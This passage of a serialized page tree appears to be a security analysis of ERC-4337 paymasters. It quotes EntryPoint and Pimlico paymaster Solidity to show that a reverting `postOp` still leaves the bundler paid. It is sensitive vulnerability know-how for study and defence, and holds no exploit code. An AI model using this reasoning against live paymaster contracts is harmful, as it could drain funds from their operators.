},{"type":25,"tag":201,"props":107206,"children":107207},{"style":208},[107208],{"type":31,"value":106394},{"type":25,"tag":201,"props":107210,"children":107211},{"style":220},[107212],{"type":31,"value":15545},{"type":25,"tag":201,"props":107214,"children":107215},{"style":261},[107216],{"type":31,"value":5886},{"type":25,"tag":201,"props":107218,"children":107219},{"style":220},[107220],{"type":31,"value":106407},{"type":25,"tag":201,"props":107222,"children":107223},{"class":203,"line":749},[107224,107228,107232],{"type":25,"tag":201,"props":107225,"children":107226},{"style":230},[107227],{"type":31,"value":80160},{"type":25,"tag":201,"props":107229,"children":107230},{"style":214},[107231],{"type":31,"value":106516},{"type":25,"tag":201,"props":107233,"children":107234},{"style":220},[107235],{"type":31,"value":107236},"(mode, opInfo, context, actualGas);\n",{"type":25,"tag":201,"props":107238,"children":107239},{"class":203,"line":757},[107240],{"type":25,"tag":201,"props":107241,"children":107242},{"style":220},[107243],{"type":31,"value":4853},{"type":25,"tag":201,"props":107245,"children":107246},{"class":203,"line":765},[107247],{"type":25,"tag":201,"props":107248,"children":107249},{"style":220},[107250],{"type":31,"value":4861},{"type":25,"tag":34,"props":107252,"children":107253},{},[107254,107256,107261,107263,107268,107270,107276,107278,107284,107286,107291,107293,107303],{"type":31,"value":107255},"We observe that, in the happy path, ",{"type":25,"tag":115,"props":107257,"children":107259},{"className":107258},[],[107260],{"type":31,"value":106607},{"type":31,"value":107262}," is expected to not only execute the actual ",{"type":25,"tag":115,"props":107264,"children":107266},{"className":107265},[],[107267],{"type":31,"value":103266},{"type":31,"value":107269}," call, but also call ",{"type":25,"tag":115,"props":107271,"children":107273},{"className":107272},[],[107274],{"type":31,"value":107275},"_postExecution",{"type":31,"value":107277},". This means that the third failure handling path, which passes ",{"type":25,"tag":115,"props":107279,"children":107281},{"className":107280},[],[107282],{"type":31,"value":107283},"postOpReverted",{"type":31,"value":107285}," as its mode, happens when something goes wrong with the ",{"type":25,"tag":115,"props":107287,"children":107289},{"className":107288},[],[107290],{"type":31,"value":107275},{"type":31,"value":107292}," call ",{"type":25,"tag":1252,"props":107294,"children":107295},{},[107296,107298],{"type":31,"value":107297},"inside ",{"type":25,"tag":115,"props":107299,"children":107301},{"className":107300},[],[107302],{"type":31,"value":106607},{"type":31,"value":80},{"type":25,"tag":34,"props":107305,"children":107306},{},[107307,107309,107314],{"type":31,"value":107308},"Let's examine the ",{"type":25,"tag":115,"props":107310,"children":107312},{"className":107311},[],[107313],{"type":31,"value":107275},{"type":31,"value":107315}," code to understand where the revert might occur.",{"type":25,"tag":191,"props":107317,"children":107319},{"className":5980,"code":107318,"language":5979,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[107320],{"type":25,"tag":115,"props":107321,"children":107322},{"__ignoreMap":7},[107323,107338,107363,107382,107401,107413,107450,107457,107489,107506,107521,107537,107561,107586,107610,107632,107650,107667,107675,107693,107709,107742,107760,107767,107774,107782,107798,107830,107852,107859,107866,107873],{"type":25,"tag":201,"props":107324,"children":107325},{"class":203,"line":204},[107326,107330,107334],{"type":25,"tag":201,"props":107327,"children":107328},{"style":208},[107329],{"type":31,"value":90915},{"type":25,"tag":201,"props":107331,"children":107332},{"style":214},[107333],{"type":31,"value":106516},{"type":25,"tag":201,"props":107335,"children":107336},{"style":220},[107337],{"type":31,"value":4970},{"type":25,"tag":201,"props":107339,"children":107340},{"class":203,"line":226},[107341,107346,107350,107354,107359],{"type":25,"tag":201,"props":107342,"children":107343},{"style":208},[107344],{"type":31,"value":107345},"        IPaymaster",{"type":25,"tag":201,"props":107347,"children":107348},{"style":220},[107349],{"type":31,"value":80},{"type":25,"tag":201,"props":107351,"children":107352},{"style":246},[107353],{"type":31,"value":104876},{"type":25,"tag":201,"props":107355,"children":107356},{"style":246},[107357],{"type":31,"value":107358}," mode",{"type":25,"tag":201,"props":107360,"children":107361},{"style":220},[107362],{"type":31,"value":547},{"type":25,"tag":201,"props":107364,"children":107365},{"class":203,"line":278},[107366,107370,107374,107378],{"type":25,"tag":201,"props":107367,"children":107368},{"style":208},[107369],{"type":31,"value":105824},{"type":25,"tag":201,"props":107371,"children":107372},{"style":208},[107373],{"type":31,"value":104164},{"type":25,"tag":201,"props":107375,"children":107376},{"style":246},[107377],{"type":31,"value":106812},{"type":25,"tag":201,"props":107379,"children":107380},{"style":220},[107381],{"type":31,"value":547},{"type":25,"tag":201,"props":107383,"children":107384},{"class":203,"line":311},[107385,107389,107393,107397],{"type":25,"tag":201,"props":107386,"children":107387},{"style":4925},[107388],{"type":31,"value":106783},{"type":25,"tag":201,"props":107390,"children":107391},{"style":208},[107392],{"type":31,"value":104164},{"type":25,"tag":201,"props":107394,"children":107395},{"style":246},[107396],{"type":31,"value":77424},{"type":25,"tag":201,"props":107398,"children":107399},{"style":220},[107400],{"type":31,"value":547},{"type":25,"tag":201,"props":107402,"children":107403},{"class":203,"line":330},[107404,107408],{"type":25,"tag":201,"props":107405,"children":107406},{"style":4925},[107407],{"type":31,"value":91093},{"type":25,"tag":201,"props":107409,"children":107410},{"style":246},[107411],{"type":31,"value":107412}," actualGas\n",{"type":25,"tag":201,"props":107414,"children":107415},{"class":203,"line":397},[107416,107420,107425,107430,107434,107438,107442,107446],{"type":25,"tag":201,"props":107417,"children":107418},{"style":220},[107419],{"type":31,"value":106840},{"type":25,"tag":201,"props":107421,"children":107422},{"style":208},[107423],{"type":31,"value":107424},"internal",{"type":25,"tag":201,"props":107426,"children":107427},{"style":208},[107428],{"type":31,"value":107429}," virtual",{"type":25,"tag":201,"props":107431,"children":107432},{"style":230},[107433],{"type":31,"value":77077},{"type":25,"tag":201,"props":107435,"children":107436},{"style":220},[107437],{"type":31,"value":238},{"type":25,"tag":201,"props":107439,"children":107440},{"style":4925},[107441],{"type":31,"value":47244},{"type":25,"tag":201,"props":107443,"children":107444},{"style":246},[107445],{"type":31,"value":104905},{"type":25,"tag":201,"props":107447,"children":107448},{"style":220},[107449],{"type":31,"value":275},{"type":25,"tag":201,"props":107451,"children":107452},{"class":203,"line":437},[107453],{"type":25,"tag":201,"props":107454,"children":107455},{"style":220},[107456],{"type":31,"value":105885},{"type":25,"tag":201,"props":107458,"children":107459},{"class":203,"line":464},[107460,107464,107469,107473,107477,107481,107485],{"type":25,"tag":201,"props":107461,"children":107462},{"style":230},[107463],{"type":31,"value":59880},{"type":25,"tag":201,"props":107465,"children":107466},{"style":220},[107467],{"type":31,"value":107468}," (paymaster ",{"type":25,"tag":201,"props":107470,"children":107471},{"style":261},[107472],{"type":31,"value":10083},{"type":25,"tag":201,"props":107474,"children":107475},{"style":4925},[107476],{"type":31,"value":7758},{"type":25,"tag":201,"props":107478,"children":107479},{"style":220},[107480],{"type":31,"value":298},{"type":25,"tag":201,"props":107482,"children":107483},{"style":426},[107484],{"type":31,"value":429},{"type":25,"tag":201,"props":107486,"children":107487},{"style":220},[107488],{"type":31,"value":4141},{"type":25,"tag":201,"props":107490,"children":107491},{"class":203,"line":490},[107492,107497,107501],{"type":25,"tag":201,"props":107493,"children":107494},{"style":220},[107495],{"type":31,"value":107496},"                refundAddress ",{"type":25,"tag":201,"props":107498,"children":107499},{"style":261},[107500],{"type":31,"value":1383},{"type":25,"tag":201,"props":107502,"children":107503},{"style":220},[107504],{"type":31,"value":107505}," mUserOp.sender;\n",{"type":25,"tag":201,"props":107507,"children":107508},{"class":203,"line":499},[107509,107513,107517],{"type":25,"tag":201,"props":107510,"children":107511},{"style":220},[107512],{"type":31,"value":71676},{"type":25,"tag":201,"props":107514,"children":107515},{"style":230},[107516],{"type":31,"value":322},{"type":25,"tag":201,"props":107518,"children":107519},{"style":220},[107520],{"type":31,"value":327},{"type":25,"tag":201,"props":107522,"children":107523},{"class":203,"line":522},[107524,107528,107532],{"type":25,"tag":201,"props":107525,"children":107526},{"style":220},[107527],{"type":31,"value":107496},{"type":25,"tag":201,"props":107529,"children":107530},{"style":261},[107531],{"type":31,"value":1383},{"type":25,"tag":201,"props":107533,"children":107534},{"style":220},[107535],{"type":31,"value":107536}," paymaster;\n",{"type":25,"tag":201,"props":107538,"children":107539},{"class":203,"line":531},[107540,107544,107549,107553,107557],{"type":25,"tag":201,"props":107541,"children":107542},{"style":230},[107543],{"type":31,"value":104604},{"type":25,"tag":201,"props":107545,"children":107546},{"style":220},[107547],{"type":31,"value":107548}," (context.length ",{"type":25,"tag":201,"props":107550,"children":107551},{"style":261},[107552],{"type":31,"value":1342},{"type":25,"tag":201,"props":107554,"children":107555},{"style":426},[107556],{"type":31,"value":4554},{"type":25,"tag":201,"props":107558,"children":107559},{"style":220},[107560],{"type":31,"value":275},{"type":25,"tag":201,"props":107562,"children":107563},{"class":203,"line":550},[107564,107569,107573,107577,107581],{"type":25,"tag":201,"props":107565,"children":107566},{"style":220},[107567],{"type":31,"value":107568},"                    actualGasCost ",{"type":25,"tag":201,"props":107570,"children":107571},{"style":261},[107572],{"type":31,"value":1383},{"type":25,"tag":201,"props":107574,"children":107575},{"style":220},[107576],{"type":31,"value":106376},{"type":25,"tag":201,"props":107578,"children":107579},{"style":261},[107580],{"type":31,"value":6077},{"type":25,"tag":201,"props":107582,"children":107583},{"style":220},[107584],{"type":31,"value":107585}," gasPrice;\n",{"type":25,"tag":201,"props":107587,"children":107588},{"class":203,"line":563},[107589,107593,107598,107602,107606],{"type":25,"tag":201,"props":107590,"children":107591},{"style":4925},[107592],{"type":31,"value":104561},{"type":25,"tag":201,"props":107594,"children":107595},{"style":220},[107596],{"type":31,"value":107597}," postOpPreGas ",{"type":25,"tag":201,"props":107599,"children":107600},{"style":261},[107601],{"type":31,"value":1383},{"type":25,"tag":201,"props":107603,"children":107604},{"style":208},[107605],{"type":31,"value":106394},{"type":25,"tag":201,"props":107607,"children":107608},{"style":220},[107609],{"type":31,"value":1985},{"type":25,"tag":201,"props":107611,"children":107612},{"class":203,"line":572},[107613,107618,107623,107627],{"type":25,"tag":201,"props":107614,"children":107615},{"style":230},[107616],{"type":31,"value":107617},"                    if",{"type":25,"tag":201,"props":107619,"children":107620},{"style":220},[107621],{"type":31,"value":107622}," (mode ",{"type":25,"tag":201,"props":107624,"children":107625},{"style":261},[107626],{"type":31,"value":17184},{"type":25,"tag":201,"props":107628,"children":107629},{"style":220},[107630],{"type":31,"value":107631}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":25,"tag":201,"props":107633,"children":107634},{"class":203,"line":590},[107635,107640,107645],{"type":25,"tag":201,"props":107636,"children":107637},{"style":230},[107638],{"type":31,"value":107639},"                        try",{"type":25,"tag":201,"props":107641,"children":107642},{"style":214},[107643],{"type":31,"value":107644}," IPaymaster",{"type":25,"tag":201,"props":107646,"children":107647},{"style":220},[107648],{"type":31,"value":107649},"(paymaster).postOp{\n",{"type":25,"tag":201,"props":107651,"children":107652},{"class":203,"line":608},[107653,107658,107662],{"type":25,"tag":201,"props":107654,"children":107655},{"style":220},[107656],{"type":31,"value":107657},"                                gas",{"type":25,"tag":201,"props":107659,"children":107660},{"style":261},[107661],{"type":31,"value":5997},{"type":25,"tag":201,"props":107663,"children":107664},{"style":220},[107665],{"type":31,"value":107666}," mUserOp.paymasterPostOpGasLimit\n",{"type":25,"tag":201,"props":107668,"children":107669},{"class":203,"line":617},[107670],{"type":25,"tag":201,"props":107671,"children":107672},{"style":220},[107673],{"type":31,"value":107674},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":25,"tag":201,"props":107676,"children":107677},{"class":203,"line":625},[107678,107683,107688],{"type":25,"tag":201,"props":107679,"children":107680},{"style":4497},[107681],{"type":31,"value":107682},"                        // ",{"type":25,"tag":201,"props":107684,"children":107685},{"style":208},[107686],{"type":31,"value":107687},"solhint-disable",{"type":25,"tag":201,"props":107689,"children":107690},{"style":4497},[107691],{"type":31,"value":107692},"-next-line no-empty-blocks\n",{"type":25,"tag":201,"props":107694,"children":107695},{"class":203,"line":642},[107696,107701,107705],{"type":25,"tag":201,"props":107697,"children":107698},{"style":220},[107699],{"type":31,"value":107700},"                        {} ",{"type":25,"tag":201,"props":107702,"children":107703},{"style":230},[107704],{"type":31,"value":49488},{"type":25,"tag":201,"props":107706,"children":107707},{"style":220},[107708],{"type":31,"value":327},{"type":25,"tag":201,"props":107710,"children":107711},{"class":203,"line":659},[107712,107717,107721,107726,107730,107734,107738],{"type":25,"tag":201,"props":107713,"children":107714},{"style":4925},[107715],{"type":31,"value":107716},"                            bytes",{"type":25,"tag":201,"props":107718,"children":107719},{"style":208},[107720],{"type":31,"value":104164},{"type":25,"tag":201,"props":107722,"children":107723},{"style":220},[107724],{"type":31,"value":107725}," reason ",{"type":25,"tag":201,"props":107727,"children":107728},{"style":261},[107729],{"type":31,"value":1383},{"type":25,"tag":201,"props":107731,"children":107732},{"style":220},[107733],{"type":31,"value":106935},{"type":25,"tag":201,"props":107735,"children":107736},{"style":214},[107737],{"type":31,"value":107026},{"type":25,"tag":201,"props":107739,"children":107740},{"style":220},[107741],{"type":31,"value":107031},{"type":25,"tag":201,"props":107743,"children":107744},{"class":203,"line":667},[107745,107750,107755],{"type":25,"tag":201,"props":107746,"children":107747},{"style":230},[107748],{"type":31,"value":107749},"                            revert",{"type":25,"tag":201,"props":107751,"children":107752},{"style":214},[107753],{"type":31,"value":107754}," PostOpReverted",{"type":25,"tag":201,"props":107756,"children":107757},{"style":220},[107758],{"type":31,"value":107759},"(reason);\n",{"type":25,"tag":201,"props":107761,"children":107762},{"class":203,"line":676},[107763],{"type":25,"tag":201,"props":107764,"children":107765},{"style":220},[107766],{"type":31,"value":72060},{"type":25,"tag":201,"props":107768,"children":107769},{"class":203,"line":694},[107770],{"type":25,"tag":201,"props":107771,"children":107772},{"style":220},[107773],{"type":31,"value":72145},{"type":25,"tag":201,"props":107775,"children":107776},{"class":203,"line":707},[107777],{"type":25,"tag":201,"props":107778,"children":107779},{"style":4497},[107780],{"type":31,"value":107781},"                    // Calculating a penalty for unused postOp gas\n",{"type":25,"tag":201,"props":107783,"children":107784},{"class":203,"line":715},[107785,107789,107793],{"type":25,"tag":201,"props":107786,"children":107787},{"style":4497},[107788],{"type":31,"value":104626},{"type":25,"tag":201,"props":107790,"children":107791},{"style":208},[107792],{"type":31,"value":67840},{"type":25,"tag":201,"props":107794,"children":107795},{"style":4497},[107796],{"type":31,"value":107797}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":25,"tag":201,"props":107799,"children":107800},{"class":203,"line":732},[107801,107805,107810,107814,107818,107822,107826],{"type":25,"tag":201,"props":107802,"children":107803},{"style":4925},[107804],{"type":31,"value":104561},{"type":25,"tag":201,"props":107806,"children":107807},{"style":220},[107808],{"type":31,"value":107809}," postOpGasUsed ",{"type":25,"tag":201,"props":107811,"children":107812},{"style":261},[107813],{"type":31,"value":1383},{"type":25,"tag":201,"props":107815,"children":107816},{"style":220},[107817],{"type":31,"value":107597},{"type":25,"tag":201,"props":107819,"children":107820},{"style":261},[107821],{"type":31,"value":5832},{"type":25,"tag":201,"props":107823,"children":107824},{"style":208},[107825],{"type":31,"value":106394},{"type":25,"tag":201,"props":107827,"children":107828},{"style":220},[107829],{"type":31,"value":1985},{"type":25,"tag":201,"props":107831,"children":107832},{"class":203,"line":749},[107833,107838,107842,107847],{"type":25,"tag":201,"props":107834,"children":107835},{"style":220},[107836],{"type":31,"value":107837},"                    postOpUnusedGasPenalty ",{"type":25,"tag":201,"props":107839,"children":107840},{"style":261},[107841],{"type":31,"value":1383},{"type":25,"tag":201,"props":107843,"children":107844},{"style":214},[107845],{"type":31,"value":107846}," _getUnusedGasPenalty",{"type":25,"tag":201,"props":107848,"children":107849},{"style":220},[107850],{"type":31,"value":107851},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":25,"tag":201,"props":107853,"children":107854},{"class":203,"line":757},[107855],{"type":25,"tag":201,"props":107856,"children":107857},{"style":220},[107858],{"type":31,"value":72153},{"type":25,"tag":201,"props":107860,"children":107861},{"class":203,"line":765},[107862],{"type":25,"tag":201,"props":107863,"children":107864},{"style":220},[107865],{"type":31,"value":59964},{"type":25,"tag":201,"props":107867,"children":107868},{"class":203,"line":783},[107869],{"type":25,"tag":201,"props":107870,"children":107871},{"style":220},[107872],{"type":31,"value":105885},{"type":25,"tag":201,"props":107874,"children":107875},{"class":203,"line":792},[107876],{"type":25,"tag":201,"props":107877,"children":107878},{"style":220},[107879],{"type":31,"value":4861},{"type":25,"tag":34,"props":107881,"children":107882},{},[107883,107885,107890,107892,107898,107900,107906,107908,107913,107915,107920,107922,107927,107929,107934,107936,107941,107943,107948],{"type":31,"value":107884},"It turns out that if the ",{"type":25,"tag":115,"props":107886,"children":107888},{"className":107887},[],[107889],{"type":31,"value":103465},{"type":31,"value":107891}," call fails, it will revert with ",{"type":25,"tag":115,"props":107893,"children":107895},{"className":107894},[],[107896],{"type":31,"value":107897},"PostOpReverted",{"type":31,"value":107899},". However, as we can see in the previous code of ",{"type":25,"tag":115,"props":107901,"children":107903},{"className":107902},[],[107904],{"type":31,"value":107905},"_executeUserOp",{"type":31,"value":107907},", even though ",{"type":25,"tag":115,"props":107909,"children":107911},{"className":107910},[],[107912],{"type":31,"value":106607},{"type":31,"value":107914}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":25,"tag":115,"props":107916,"children":107918},{"className":107917},[],[107919],{"type":31,"value":107275},{"type":31,"value":107921}," call with ",{"type":25,"tag":115,"props":107923,"children":107925},{"className":107924},[],[107926],{"type":31,"value":107283},{"type":31,"value":107928}," mode, and it won't try to call ",{"type":25,"tag":115,"props":107930,"children":107932},{"className":107931},[],[107933],{"type":31,"value":103465},{"type":31,"value":107935}," again. This means the ",{"type":25,"tag":115,"props":107937,"children":107939},{"className":107938},[],[107940],{"type":31,"value":103326},{"type":31,"value":107942}," still gets paid for submitting the failed ",{"type":25,"tag":115,"props":107944,"children":107946},{"className":107945},[],[107947],{"type":31,"value":103266},{"type":31,"value":80},{"type":25,"tag":34,"props":107950,"children":107951},{},[107952,107954,107959,107961,107966,107968,107975],{"type":31,"value":107953},"Now that we understand this behavior where ",{"type":25,"tag":115,"props":107955,"children":107957},{"className":107956},[],[107958],{"type":31,"value":103465},{"type":31,"value":107960}," is allowed to fail while the ",{"type":25,"tag":115,"props":107962,"children":107964},{"className":107963},[],[107965],{"type":31,"value":103326},{"type":31,"value":107967}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":25,"tag":71,"props":107969,"children":107972},{"href":107970,"rel":107971},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[75],[107973],{"type":31,"value":107974},"Pimlico",{"type":31,"value":80},{"type":25,"tag":191,"props":107977,"children":107979},{"className":5980,"code":107978,"language":5979,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[107980],{"type":25,"tag":115,"props":107981,"children":107982},{"__ignoreMap":7},[107983,107998,108015,108035,108051,108063,108070,108077,108084,108115,108122,108147,108155,108162,108169,108198,108205,108221,108243,108250,108266,108316,108323,108339,108347,108380,108413,108421,108428,108435,108478,108485,108534,108560,108567,108574,108591],{"type":25,"tag":201,"props":107984,"children":107985},{"class":203,"line":204},[107986,107990,107994],{"type":25,"tag":201,"props":107987,"children":107988},{"style":208},[107989],{"type":31,"value":90915},{"type":25,"tag":201,"props":107991,"children":107992},{"style":214},[107993],{"type":31,"value":104867},{"type":25,"tag":201,"props":107995,"children":107996},{"style":220},[107997],{"type":31,"value":4970},{"type":25,"tag":201,"props":107999,"children":108000},{"class":203,"line":226},[108001,108006,108010],{"type":25,"tag":201,"props":108002,"children":108003},{"style":208},[108004],{"type":31,"value":108005},"        PostOpMode",{"type":25,"tag":201,"props":108007,"children":108008},{"style":220},[108009],{"type":31,"value":919},{"type":25,"tag":201,"props":108011,"children":108012},{"style":4497},[108013],{"type":31,"value":108014},"/* mode */\n",{"type":25,"tag":201,"props":108016,"children":108017},{"class":203,"line":278},[108018,108022,108026,108031],{"type":25,"tag":201,"props":108019,"children":108020},{"style":4925},[108021],{"type":31,"value":106783},{"type":25,"tag":201,"props":108023,"children":108024},{"style":208},[108025],{"type":31,"value":104096},{"type":25,"tag":201,"props":108027,"children":108028},{"style":246},[108029],{"type":31,"value":108030}," _context",{"type":25,"tag":201,"props":108032,"children":108033},{"style":220},[108034],{"type":31,"value":547},{"type":25,"tag":201,"props":108036,"children":108037},{"class":203,"line":311},[108038,108042,108047],{"type":25,"tag":201,"props":108039,"children":108040},{"style":4925},[108041],{"type":31,"value":91093},{"type":25,"tag":201,"props":108043,"children":108044},{"style":246},[108045],{"type":31,"value":108046}," _actualGasCost",{"type":25,"tag":201,"props":108048,"children":108049},{"style":220},[108050],{"type":31,"value":547},{"type":25,"tag":201,"props":108052,"children":108053},{"class":203,"line":330},[108054,108058],{"type":25,"tag":201,"props":108055,"children":108056},{"style":4925},[108057],{"type":31,"value":91093},{"type":25,"tag":201,"props":108059,"children":108060},{"style":246},[108061],{"type":31,"value":108062}," _actualUserOpFeePerGas\n",{"type":25,"tag":201,"props":108064,"children":108065},{"class":203,"line":397},[108066],{"type":25,"tag":201,"props":108067,"children":108068},{"style":220},[108069],{"type":31,"value":25405},{"type":25,"tag":201,"props":108071,"children":108072},{"class":203,"line":437},[108073],{"type":25,"tag":201,"props":108074,"children":108075},{"style":208},[108076],{"type":31,"value":104135},{"type":25,"tag":201,"props":108078,"children":108079},{"class":203,"line":464},[108080],{"type":25,"tag":201,"props":108081,"children":108082},{"style":220},[108083],{"type":31,"value":30670},{"type":25,"tag":201,"props":108085,"children":108086},{"class":203,"line":490},[108087,108092,108096,108101,108105,108110],{"type":25,"tag":201,"props":108088,"children":108089},{"style":220},[108090],{"type":31,"value":108091},"        ERC20PostOpContext ",{"type":25,"tag":201,"props":108093,"children":108094},{"style":208},[108095],{"type":31,"value":77056},{"type":25,"tag":201,"props":108097,"children":108098},{"style":220},[108099],{"type":31,"value":108100}," ctx ",{"type":25,"tag":201,"props":108102,"children":108103},{"style":261},[108104],{"type":31,"value":1383},{"type":25,"tag":201,"props":108106,"children":108107},{"style":214},[108108],{"type":31,"value":108109}," _parsePostOpContext",{"type":25,"tag":201,"props":108111,"children":108112},{"style":220},[108113],{"type":31,"value":108114},"(_context);\n",{"type":25,"tag":201,"props":108116,"children":108117},{"class":203,"line":499},[108118],{"type":25,"tag":201,"props":108119,"children":108120},{"emptyLinePlaceholder":17},[108121],{"type":31,"value":496},{"type":25,"tag":201,"props":108123,"children":108124},{"class":203,"line":522},[108125,108129,108134,108138,108143],{"type":25,"tag":201,"props":108126,"children":108127},{"style":4925},[108128],{"type":31,"value":91093},{"type":25,"tag":201,"props":108130,"children":108131},{"style":220},[108132],{"type":31,"value":108133}," expectedPenaltyGasCost ",{"type":25,"tag":201,"props":108135,"children":108136},{"style":261},[108137],{"type":31,"value":1383},{"type":25,"tag":201,"props":108139,"children":108140},{"style":214},[108141],{"type":31,"value":108142}," _expectedPenaltyGasCost",{"type":25,"tag":201,"props":108144,"children":108145},{"style":220},[108146],{"type":31,"value":4970},{"type":25,"tag":201,"props":108148,"children":108149},{"class":203,"line":531},[108150],{"type":25,"tag":201,"props":108151,"children":108152},{"style":220},[108153],{"type":31,"value":108154},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":25,"tag":201,"props":108156,"children":108157},{"class":203,"line":550},[108158],{"type":25,"tag":201,"props":108159,"children":108160},{"style":220},[108161],{"type":31,"value":9252},{"type":25,"tag":201,"props":108163,"children":108164},{"class":203,"line":563},[108165],{"type":25,"tag":201,"props":108166,"children":108167},{"emptyLinePlaceholder":17},[108168],{"type":31,"value":496},{"type":25,"tag":201,"props":108170,"children":108171},{"class":203,"line":572},[108172,108176,108180,108184,108189,108193],{"type":25,"tag":201,"props":108173,"children":108174},{"style":4925},[108175],{"type":31,"value":91093},{"type":25,"tag":201,"props":108177,"children":108178},{"style":220},[108179],{"type":31,"value":105191},{"type":25,"tag":201,"props":108181,"children":108182},{"style":261},[108183],{"type":31,"value":1383},{"type":25,"tag":201,"props":108185,"children":108186},{"style":220},[108187],{"type":31,"value":108188}," _actualGasCost ",{"type":25,"tag":201,"props":108190,"children":108191},{"style":261},[108192],{"type":31,"value":5886},{"type":25,"tag":201,"props":108194,"children":108195},{"style":220},[108196],{"type":31,"value":108197}," expectedPenaltyGasCost;\n",{"type":25,"tag":201,"props":108199,"children":108200},{"class":203,"line":590},[108201],{"type":25,"tag":201,"props":108202,"children":108203},{"emptyLinePlaceholder":17},[108204],{"type":31,"value":496},{"type":25,"tag":201,"props":108206,"children":108207},{"class":203,"line":608},[108208,108212,108217],{"type":25,"tag":201,"props":108209,"children":108210},{"style":4925},[108211],{"type":31,"value":91093},{"type":25,"tag":201,"props":108213,"children":108214},{"style":220},[108215],{"type":31,"value":108216}," costInToken ",{"type":25,"tag":201,"props":108218,"children":108219},{"style":261},[108220],{"type":31,"value":16194},{"type":25,"tag":201,"props":108222,"children":108223},{"class":203,"line":617},[108224,108229,108234,108238],{"type":25,"tag":201,"props":108225,"children":108226},{"style":214},[108227],{"type":31,"value":108228},"            getCostInToken",{"type":25,"tag":201,"props":108230,"children":108231},{"style":220},[108232],{"type":31,"value":108233},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":25,"tag":201,"props":108235,"children":108236},{"style":261},[108237],{"type":31,"value":5886},{"type":25,"tag":201,"props":108239,"children":108240},{"style":220},[108241],{"type":31,"value":108242}," ctx.constantFee;\n",{"type":25,"tag":201,"props":108244,"children":108245},{"class":203,"line":625},[108246],{"type":25,"tag":201,"props":108247,"children":108248},{"emptyLinePlaceholder":17},[108249],{"type":31,"value":496},{"type":25,"tag":201,"props":108251,"children":108252},{"class":203,"line":642},[108253,108257,108262],{"type":25,"tag":201,"props":108254,"children":108255},{"style":4925},[108256],{"type":31,"value":91093},{"type":25,"tag":201,"props":108258,"children":108259},{"style":220},[108260],{"type":31,"value":108261}," absoluteCostInToken ",{"type":25,"tag":201,"props":108263,"children":108264},{"style":261},[108265],{"type":31,"value":16194},{"type":25,"tag":201,"props":108267,"children":108268},{"class":203,"line":659},[108269,108274,108278,108283,108287,108291,108295,108299,108303,108307,108311],{"type":25,"tag":201,"props":108270,"children":108271},{"style":220},[108272],{"type":31,"value":108273},"            costInToken ",{"type":25,"tag":201,"props":108275,"children":108276},{"style":261},[108277],{"type":31,"value":1342},{"type":25,"tag":201,"props":108279,"children":108280},{"style":220},[108281],{"type":31,"value":108282}," ctx.preFundCharged 